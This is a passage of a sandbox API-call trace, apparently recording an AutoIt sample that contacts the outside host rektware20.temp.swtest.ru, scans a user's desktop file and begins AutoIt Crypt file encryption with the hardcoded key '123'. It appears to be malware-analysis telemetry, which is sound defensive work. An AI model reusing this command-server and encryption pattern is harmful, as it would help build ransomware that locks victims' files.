lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0080.908] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0080.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0080.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0080.909] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0080.909] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0080.909] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0080.909] CloseHandle (hObject=0x0) returned 0 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QpuZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="puZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZiR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iR9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0080.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0080.911] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0080.911] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0080.911] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0080.911] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0080.911] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0080.911] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0080.911] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0080.911] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0080.911] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f40, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f40, lpdwBufferLength=0x130ee1c) returned 1 [0080.911] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0080.911] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0080.911] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0080.912] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0080.912] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0080.912] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0080.912] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0080.912] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0080.912] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0080.912] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0080.912] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0080.912] CloseHandle (hObject=0x0) returned 0 [0080.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.913] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0080.913] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0080.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.913] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0080.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.913] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0080.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.913] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0080.914] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.914] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0080.914] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.914] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.914] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.914] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.914] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0080.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0080.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0080.915] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0080.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0080.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0080.915] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0080.915] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0080.916] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0080.916] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.916] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0080.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.917] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0080.917] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.917] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0080.917] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.917] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0080.917] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.917] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.954] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.954] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0080.955] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0080.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0080.956] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0080.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629380, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0080.956] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0080.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0080.956] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.957] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.957] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0080.957] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0080.957] CryptHashData (hHash=0x164c370, pbData=0x1629380, dwDataLen=0x3, dwFlags=0x1) returned 1 [0080.957] PeekMessageW 